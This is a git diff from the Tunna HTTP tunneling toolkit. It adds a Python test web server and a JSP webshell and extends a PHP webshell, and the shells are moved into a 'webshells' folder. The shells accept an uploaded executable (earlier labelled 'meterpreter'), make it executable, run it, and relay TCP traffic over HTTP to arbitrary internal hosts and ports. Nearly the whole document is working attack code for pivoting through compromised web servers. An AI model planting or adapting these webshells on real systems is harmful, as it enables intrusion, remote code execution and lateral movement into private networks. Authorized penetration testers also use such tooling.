tempfile.NamedTemporaryFile(suffix=".pem") + self.certFile.write(options['certificate']) + self.certFile.flush() + httpd.socket = ssl.wrap_socket (httpd.socket, certfile=self.certFile.name, server_side=True,ssl_version=ssl.PROTOCOL_TLSv1) + + print "[W]",time.asctime(), "Web Server Starts - %s:%s" % (hostname, portNumber), "(SSL Server)" if options['ssl'] else '' + + httpd.serve_forever() + + except KeyboardInterrupt: + pass + + self.cleanup(sessions) + if hasattr(self,'sslFile'): + self.sslFile.close() + httpd.server_close() + + print "[W] ",time.asctime(), "Web Server Stops - %s:%s" % (hostname, portNumber) + + def cleanup(self,sessions): + print "[-] Cleaning up" + for sessionId in sessions: + session=sessions[sessionId] + if 'SocksProcess' in session: + print "[-] Killing process", session['SocksProcess'].pid + session['SocksProcess'].kill() + time.sleep(1) + if 'file' in session: + print "[-] Removing File", session['file'].name + os.remove(session['file'].name) + if 'SocksThread' in session: + print "[-] Killing Socks Thread" + t=session['SocksThread'] + t._Thread__stop() + t.join() + + class WebHandler(BaseHTTPServer.BaseHTTPRequestHandler): + debug=0 + bufferSize = 8192 + sessions=None + + def do_GET(self): + self.handle_request() + + def do_POST(self): + self.handle_request() + + def send(self,data="", responseCode=200): + self.send_response(responseCode) + + for morsel in self.cookie.values(): #Add cookie + self.send_header('Set-Cookie', morsel.output(header='').lstrip()) + for (k,v) in self.resp_headers.items(): + self.send_header(k,v) + self.end_headers() + + self.wfile.write(data) + + def readFile(self): + import cgi + ctype, pdict = cgi.parse_header(self.headers.getheader('content-type')) + + if ctype == 'multipart/form-data': + + fs = cgi.FieldStorage( fp = self.rfile, + headers = self.headers, + environ={ 'REQUEST_METHOD':'POST' } + ) + + if 'meterpreter' in fs: + return fs['meterpreter'].file.read() + elif 'proxy' in fs: + return fs['proxy'].file.read() + else: + return None + + def fileUpload(self): + f=self.readFile() + + self.tmpFile = tempfile.NamedTemporaryFile(suffix=".exe",delete=False) + self.tmpFile.write(f) + self.tmpFile.close() + if self.debug >1: print "[W] File uploaded to:",self.tmpFile.name + return self.tmpFile + + def fileRun(self,session,port): + f=session['file'] + if 'linux' in sys.platform: + os.system(('chmod +x %s' % f.name)) + import subprocess + session['SocksProcess']=subprocess.Popen([f.name,str(port)]) + if self.debug >1: print "[W] Executing file",f.name + + def handle_request(self): + bufferSize=self.bufferSize + self.resp_headers = {"Content-type":'application/oclet-stream'} + + #Get cookie parameters + self.cookie=Cookie.SimpleCookie() + + if self.headers.has_key('cookie'): + self.cookie=Cookie.SimpleCookie(self.headers.getheader("cookie")) + #Get URL parameters + url_param = dict(parse_qsl(urlparse(self.path).query,keep_blank_values=True)) + + if self.debug > 2: print "[+] url parameters:",url_param + #Handle requests + if url_param.get('proxy') == '': + session=self.Session() + #if self.options['authorization'] and session['Authorized'] == None: + #"Authorization Required" + + if url_param.get('file') == '': + if url_param.get('upload') == '': + session['file']=self.fileUpload() + else: + print "[-] Wrong Parameters (?)\n\t", url_param + self.send() + return + + if url_param.get('close') == '': + self.close(session) + return + + if url_param.get('port'): #if port is specified connects to that port + session['port'] = url_param.get('port', None) + + if url_param.get('ip'): #if ip is specified connects to that ip + session["ip"] = url_param.get('ip', None) + + if url_param.get('socks') == '': + session["socks"]=True + + if self.debug > 2: print "[+] url parameters:",url_param + + if session.get("running") == None: #new session + session["running"]=0 + + response="[Server] All good to go, ensure the listener is working ;-)\n" + if not self.usefile: #Used For Testing + response+="[PROXY]\n" + elif self.usefile: + response+="[FILE]:" + if os.name == 'posix': + response+="[LINUX]\n" + elif os.name == 'nt': + response+="[WIN]\n" + else: + response+="[UNKNOWN]\n" + self.send(response) + else: + if session.get("running") == 0: + sock = socket.socket() + try: + #TODO: if file does not exist use legacy tunna to connect to proxy + if 'socks' in session: #Start Socks Proxy + self.startSocks(session) + sock=session["socket"] + session["running"]=1 + self.send("[OK] Proxy") #will proxy + print "[+] Socket Connected To SocksProxy", sock.getpeername() + else: #Legacy connection + if url_param.get('ip') and url_param.get('port'): + sock.connect((url_param.get('ip'), int(url_param.get('port')))) + sock.setblocking(0) + session["socket"]=sock + session["running"]=1 + self.send("[OK]") + print "[+] Socket Connected", sock.getpeername(), sock + else: + print "[-] Missing Parameters to connect:", url_param + self.send(("[-] Missing Parameters to connect: %s" % url_param),500) + except Exception, e: + self.send('[-] something\'s wrong with %s.\n\t Exception type is: %s' % (url_param, `e`)) + print "Exception:",session,e + else: #running + sock = socket.socket() + sock = session.get("socket") + #Read data from request and write to socket + try: + if 'Content-Length' in self.headers: #Else is a get request + postdata = self.rfile.read(int(self.headers['Content-Length'])) + sock.send(postdata) + #Read Data from socket and write to response + data=sock.recv(bufferSize) + if data == "": + self.send("[-] Socket Disconnected",500) + else: + self.send(data) + except socket.error: + self.send() + + if self.debug > 3: print "[debug] Session:", session + else: + self.send("Tunna v1.1a") #Version 1.1a + + def log_message(self, format, *args): + if self.debug > 2: print ("[W] %s - - [%s] %s" % (self.address_string(),self.log_date_time_string(),format%args)) + + def startSocks(self,session): + #Create a Random port + SocksServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + SocksServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + SocksServerSocket.setblocking(0) #DEL + SocksServerSocket.bind(('localhost',0)) + + if 'file' in session: #if file exists run file (used mainly for testing) + f=session['file'] + if self.debug > 3: print "[Debug] starting socks executable" + #./Uploaded Executable random_port + self.fileRun(session,SocksServerSocket.getsockname()[1]) + time.sleep(1) + else: #else start proxy in thread + if self.debug > 3: print "[Debug] starting internal socks" + event = threading.Event() + event.clear() + + self.socksServer=SocksServer(SocksServerSocket,event) + + SocksThread = threading.Thread(name='SocketServer', target= self.socksServer.run, args=()) + SocksThread.setDaemon(1) #will exit if main exits + SocksThread.start() + + if self.debug > 3: print "[Debug] waiting for event" + event.wait() + + session['SocksThread'] = SocksThread + + sock = socket.socket() + sock.connect(('localhost',SocksServerSocket.getsockname()[1])) + sock.setblocking(0) + session["socket"]=sock + SocksServerSocket.close() + + def Session(self): + sessions=self.sessions + if self.cookie.has_key("sessionId"): + sessionId=self.cookie["sessionId"].value + + if sessions.get(sessionId): return sessions.get(sessionId) + else: #Because life's too short + sessionId=''.join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for i in range(32)]) + self.cookie["sessionId"]=sessionId + try: + sessions[sessionId]=dict() + except KeyError: + pass + return sessions[sessionId] + + def invalidateSession(self): + sessions=self.sessions + if self.cookie.has_key("sessionId"): + sessionId=self.cookie["sessionId"].value + del sessions[sessionId] + + def close(self,session): + #Clean up everything in session + session["running"]=-1 + try: + if 'SocksProcess' in session: + if self.debug > 1: print "[-] Killing process", session['SocksProcess'].pid + session['SocksProcess'].kill() + if 'file' in session: + if self.debug > 1: print "[-] Removing File", session['file'].name + os.remove(session['file'].name) + if 'SocksThread' in session: + if self.debug > 1: print "[-] Killing Socks Thread" + if hasattr(self,'socksServer'): del self.socksServer + t=session['SocksThread'] + t._Thread__stop() + t.join() + except Exception, e: + print "[-]", e + channel = socket.socket() + channel = session.get("socket") + if channel: + channel.close() + self.send("[Server] Closing the connection") + else: + self.send("[Server] No open socket") + self.invalidateSession() + return + +def banner(): + print " _______ __ __ _ _____ " + print "|__ __| \\ \\ / / | | / ____| " + print " | |_ _ _ __ _ __ __ \\ \\ /\\ / /__| |__| (___ ___ _ ____ _____ _ __ " + print " | | | | | '_ \\| '_ \\ / _` \\ \\/ \\/ / _ \\ '_ \\\\___ \\ / _ \\ '__\\ \\ / / _ \\ '__|" + print " | | |_| | | | | | | | (_| |\\ /\\ / __/ |_) |___) | __/ | \\ V / __/ | " + print " |_|\\__,_|_| |_|_| |_|\\__,_| \\/ \\/ \\___|_.__/_____/ \\___|_| \\_/ \\___|_| " + print "" + + print "TunnaWebServer v1.1a, for HTTP tunneling TCP connections by Nikos Vassakis" + print "http://www.secforce.com / nikos.vassakis secforce.com" + print "###############################################################" + print "" + +def usage(): + #TODO: argparse + print "Usage:" + print "\t webserver.py -r " + print " --ssl: for SSL server" + +if __name__ == '__main__': + banner() + options={} + try: + opts, args = getopt.getopt(sys.argv[1:], "r:h", ["help","ssl"]) + except getopt.GetoptError: + usage() + sys.exit(2) + try: + for o, a in opts: + if o in ("-h", "--help"): + usage() + sys.exit() + elif o == "-r": + try: + options['hostname'], webServerPort= a.split(":") + options['webServerPort']=int(webServerPort) + except ValueError: + options['webServerPort']=int(a) + elif o == "--ssl": + options['ssl']=True + else: + usage() + sys.exit(2) + except: + usage() + sys.exit(2) + else: + options=dict(Defaults.items() + options.items()) if options else Defaults + try: + WebServer(options) + except KeyboardInterrupt: + sys.exit() diff --git a/metasploit/conn.aspx b/webshells/conn.aspx similarity index 71% rename from metasploit/conn.aspx rename to webshells/conn.aspx index 089ff2d..3b777f7 100644 --- a/metasploit/conn.aspx +++ b/webshells/conn.aspx @@ -11,7 +11,7 @@ <%@ Import Namespace="System.Text" %> diff --git a/webshells/conn.jsp b/webshells/conn.jsp new file mode 100644 index 0000000..e7213ab --- /dev/null +++ b/webshells/conn.jsp @@ -0,0 +1,245 @@ +<%@ page import="java.io.*, java.net.*, java.nio.*, java.nio.channels.*" trimDirectiveWhitespaces="true" %> +<%! +// +//Tunna JSP webshell v1.1a (c) 2014 by Nikos Vassakis +//http://www.secforce.com / nikos.vassakis secforce.com +// +public class SockException extends Exception{ //Custom exception class for socket exceptions + public SockException(String message) { + super(message); + } + public SockException(String message, Throwable throwable) { + super(message, throwable); + } +} +public SocketChannel connect(String ip, int port) throws SockException{ + SocketChannel socket; + boolean established; + try{ + socket = SocketChannel.open(); //Create socket + }catch(IOException e){ + throw new SockException("[SERVER] Unable to create Socket"); + } + try{ + established = socket.connect(new InetSocketAddress(ip, port)); //Connect to socket + }catch( IOException e){ + throw new SockException("[Server] Unable to Connect"); + } + try{ + socket.configureBlocking(false); //Socket in non-blocking mode because of the consecutive HTTP requests + }catch( IOException e){ + throw new SockException("[Server] Unable to set socket to non blocking mode"); + } + if (!established){ + try{ + while(! socket.finishConnect() ){ + //wait for connection + } + } + catch( IOException e){ + throw new SockException("[Server] Unable connect to socket"); + } + } + return socket; +} +%> +<% +SocketChannel socket=null; +OutputStream os = response.getOutputStream(); +if(request.getParameter("proxy") == "" ){ + //In some cases in windows after 1024, bytes are not written to socket + // in linux after 4096 + int bufferSize = 8192; //4096 //8192 + if(request.getParameter("file") == "" ){ //If url parameter file is set + if(request.getParameter("upload") == "" ){ //reads file and saves it to temp + String contentType = request.getContentType(); + if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) { + DataInputStream in = new DataInputStream(request.getInputStream()); + int formDataLength = request.getContentLength(); + byte dataBytes[] = new byte[formDataLength]; + int byteRead = 0; + int totalBytesRead = 0; + while (totalBytesRead < formDataLength) { + byteRead = in.read(dataBytes, totalBytesRead, formDataLength); + totalBytesRead += byteRead; + } + String file = new String(dataBytes); + String saveFile = file.substring(file.indexOf("filename=\"") + 10, file.lastIndexOf("Content-Type")-3); + //String saveFile = "filename.exe"; + saveFile = System.getProperty("java.io.tmpdir") + '/' + saveFile; + session.setAttribute("file", saveFile); + int lastIndex = contentType.lastIndexOf("="); + String boundary = contentType.substring(lastIndex + 1,contentType.length()); + int pos; + //extracting the index of file + pos = file.indexOf("filename=\""); + pos = file.indexOf("\n", pos) + 1; + pos = file.indexOf("\n", pos) + 1; + pos = file.indexOf("\n", pos) + 1; + int boundaryLocation = file.indexOf(boundary, pos) - 4; + int startPos = ((file.substring(0, pos)).getBytes()).length; + int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length; + // creating a new file with the same name and writing the content in new file + //TODO: catch exception if file exists + FileOutputStream fileOut = new FileOutputStream((String) session.getAttribute("file")); + fileOut.write(dataBytes, startPos, (endPos - startPos)); + fileOut.flush(); + fileOut.close(); + os.write(("[Server] File Uploaded at " + (String) session.getAttribute("file")).getBytes()); + os.flush(); + os.close(); + return; + } + } + } + if (request.getParameter("close") == ""){ //if url parameter close is received: close socket / invalidate session + session.setAttribute("running","-1"); + socket=(SocketChannel)session.getAttribute("socket"); //get socket from session + if (socket != null){ + socket.close(); + } + if (session.getAttribute("file") != ""){ + String s=(String) session.getAttribute("file"); + File f = new File(s); + f.delete(); + } + if (session.getAttribute("SocksProcess") != ""){ + Process p = (Process) session.getAttribute("SocksProcess"); + p.destroy(); + } + os.write("[Server] Closing the connection".getBytes()); + os.flush(); + os.close(); + session.invalidate(); //invalidate session + return; + } + if(request.getParameter("port") != null){ //if port is specified connects to that port + session.setAttribute("port", request.getParameter("port")); + } + if(request.getParameter("ip") != null){ //if ip is specified connects to that ip + session.setAttribute("ip", request.getParameter("ip")); + } +/* SESSION */ + if(session.isNew()){ //1st request: initiate session + session.setAttribute("running", "0"); + if (System.getProperty("os.name").toLowerCase().contains("windows")){ + os.write("[Server] All good to go, ensure the listener is working ;-)\n[FILE]:[WIN]\n".getBytes()); + } + else{ + os.write("[Server] All good to go, ensure the listener is working ;-)\n[FILE]:[LINUX]\n".getBytes()); + } + os.flush(); + os.close();// *important* to ensure no more jsp output + return; + } + else{ + if (session.getAttribute("running") == "0" ){ //2nd request: get configuration options for socket + int port=0; + String ip="localhost"; + if (session.getAttribute("file") != ""){ + String s=(String) session.getAttribute("file"); + ServerSocket sock = new ServerSocket(0); + //Socket sock = new Socket(0); + port =sock.getLocalPort(); + sock.close(); + if(!System.getProperty("os.name").toLowerCase().contains("windows")){ // If linux: make uploaded file executable + try{ + Runtime r = Runtime.getRuntime(); + Process p =null; + String s1 = "chmod +x " + s; + p = r.exec(s1); + } catch(Exception e1) + { + os.write(e1.getMessage().getBytes()); + os.flush(); + os.close(); + return; + } + } + try{ //Execute file + Runtime r = Runtime.getRuntime(); + Process p =null; + p = r.exec(new String[] { s, Integer.toString(port)}); + session.setAttribute("SocksProcess",p); + } catch(Exception e1) + { + os.write(e1.getMessage().getBytes()); + os.flush(); + os.close(); + return; + } + } + else{ + ip = (String) session.getAttribute("ip"); + port = Integer.parseInt((String) session.getAttribute("port")); + } + try{ + Thread.sleep(2000); //wait until SocksServer isReady + socket=connect(ip, port); + //System.out.print("Connected"); + } + catch(SockException e){ + os.write(e.getMessage().getBytes()); + os.flush(); + os.close(); + return; + } + session.setAttribute("socket",socket); + session.setAttribute("running", "1"); + os.write("[OK]".getBytes()); //Send [OK] back + os.flush(); + os.close();// *important* to ensure no more jsp output + return; + } + else{ + response.setContentType("application/oclet-stream"); + //Allocate buffers for socket IO + ByteBuffer dataIn = ByteBuffer.allocate(bufferSize); + ByteBuffer dataOut = ByteBuffer.allocate(bufferSize); + + try{ + socket=(SocketChannel)session.getAttribute("socket"); //Get socket from session + }catch(Exception e){ + os.write("[Server] Socket null pointer exception".getBytes()); + os.flush(); + os.close(); + return; + } + //Read data from request and write to socket + InputStream is = request.getInputStream(); + byte[] postBuff = new byte[bufferSize]; + int postBytesRead = is.read(postBuff); + // + //System.out.print(postBytesRead); + // + if (postBytesRead > 0){ + dataIn = ByteBuffer.wrap(postBuff,0,postBytesRead); + int bytesWritten = socket.write(dataIn); + dataIn.clear(); + } + //Read Data from socket and write to response + int SocketBytesRead = socket.read(dataOut); + // + //System.out.print(postBytesRead); + // + if(SocketBytesRead > 0){ + byte[] respBuff = dataOut.array(); + os.write(respBuff,0,SocketBytesRead); + os.flush(); + os.close();// *important* to ensure no more jsp output + dataOut.clear(); + return; + } + else{ + os.write("".getBytes()); //No data on socket: send nothing back + os.flush(); + os.close(); + return; + } + } + } +} +else{ + os.write("Tunna v1.1a".getBytes()) //Version 1.1a +} +%> diff --git a/metasploit/conn.php b/webshells/conn.php similarity index 71% rename from metasploit/conn.php rename to webshells/conn.php index 758b8db..301d400 100644 --- a/metasploit/conn.php +++ b/webshells/conn.php @@ -1,6 +1,6 @@ secforce.com // if(!empty($_GET)){ @@ -92,12 +92,41 @@ function run_loop(){ //This will stall the thread / request set_time_limit(0); //Time limit for request set to infinate for the loop function $ip=""; $port=""; - - if(session_start() === false){exit("[Server] Couldnt Start Session");} + $session_started=false; + + try { + if(session_start() === false){exit("[Server] Couldnt Start Session");} + } catch (Exception $e) { + $_SESSION['running'] == 0; + } + if(isset($_GET["file"])){ //if url variable file is received + if(isset($_GET["upload"])){ //read binary from request and write to temp dir + $file = $_FILES["proxy"]; + if ($file["error"] > 0 or empty($file)){ + exit("[Server]: No File Selected"); + } + else{ + if(move_uploaded_file($file["tmp_name"], sys_get_temp_dir() . "/" . $file["name"])){ + echo "[Server] File Uploaded at " . sys_get_temp_dir() . "/" . $file["name"]; + $_SESSION['file'] = sys_get_temp_dir() . "/" . $file["name"]; + exit(); + } + else { + exit("[Server] Error Uploading File"); + } + } + } + } if(isset($_GET["close"])){ //if url parameter close is received the connection is closed $_SESSION['running'] = -1; echo "[Server] Closing the connection and killing the handler thread"; + if(isset($_SESSION['pid'])){ + echo "\n[Server] *Check that the socks process ".$_SESSION['pid']." is killed "; + } + if(isset($_SESSION['file'])){ + unlink($_SESSION['file']); + } exit(); } if(isset($_GET["port"])){ //if port is specified in url connects to that port @@ -113,7 +142,12 @@ function run_loop(){ //This will stall the thread / request $_SESSION['handler_data'] = ""; //Closing session_write otherwise next attempt to write to session will block session_write_close(); - echo "[Server] All good to go, ensure the listener is working ;-)"; + if (stristr(PHP_OS, "linux")){ + echo "[Server] All good to go, ensure the listener is working ;-)\n[FILE]:[LINUX]\n"; + } + else{ + echo "[Server] All good to go, ensure the listener is working ;-)\n[FILE]:[WIN]\n"; + } } else{ if ($_SESSION['running'] == 0){ //2nd request: get configuration options @@ -125,6 +159,26 @@ function run_loop(){ //This will stall the thread / request * and from the request body to the socket * */ + + if (isset($_SESSION['file'])){ + $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + //Get Random Port + socket_bind($socket, 'localhost', 0); + socket_getsockname($socket, $ip, $port); + socket_close($socket); + //Execute + if (stristr(PHP_OS, "linux")){ + exec("chmod +x " . $_SESSION['file']); //if linux: need to make it an executable first + } + //start process & save pid + //popen("start /B ". $_SESSION['file'], "r"); //Execute in windows + $proc=proc_open(($_SESSION['file']." ".$port),array(),$foo); + $pid=proc_get_status($proc); + $_SESSION['pid']=$pid['pid']; + echo "[Server] Run ".$pid['pid']; + sleep(2); + } + //connect $mymessenger = new messenger($port,$ip); } else{ @@ -143,51 +197,8 @@ function run_loop(){ //This will stall the thread / request } } } - if(isset($_GET["file"])){ //if url variable file is received - //Session is created to hold the filename etc. - if(session_start() === false){exit("[Server] Couldnt Start Session");} - //Report all errors - error_reporting(E_ALL); - ini_set( 'display_errors','1'); - - if(isset($_GET["upload"])){ //read binary from request and write to temp dir - $file = $_FILES["meterpreter"]; - if ($file["error"] > 0 or empty($file)){ - exit("[Server]: No File Selected"); - } - else{ - if(move_uploaded_file($file["tmp_name"], sys_get_temp_dir() . "/" . $file["name"])){ - echo "[Server] File Uploaded at " . sys_get_temp_dir() . "/" . $file["name"]; - $_SESSION['file'] = sys_get_temp_dir() . "/" . $file["name"]; - exit(); - } - else { - exit("[Server] Error Uploading File"); - } - } - } - if(isset($_GET["run"])){ //if url var run is received: execute uploaded binary - /* - * In php different ways to execute in linux and windows - */ - if (stristr(PHP_OS, "linux")){ - exec("chmod +x " . $_SESSION['file']); //if linux: need to make it an executable first - exec($_SESSION['file'] . " > /dev/null &"); //Execute meterpreter - echo "[Server] Run"; //Reply back - } - else{ #Windows - pclose(popen("start /B ". $_SESSION['file'], "r")); //Execute in windows - echo "[Server] Run"; - } - } - if(isset($_GET["delete"])){ //if url var delete is received: delete file - if(unlink($_SESSION['file'])){ - echo "[Server] File Deleted"; - } - else{ - exit("[Server] Can't delete file"); - } - } + else{ + echo "Tunna v1.1a"; //Version 1.1a } } ?>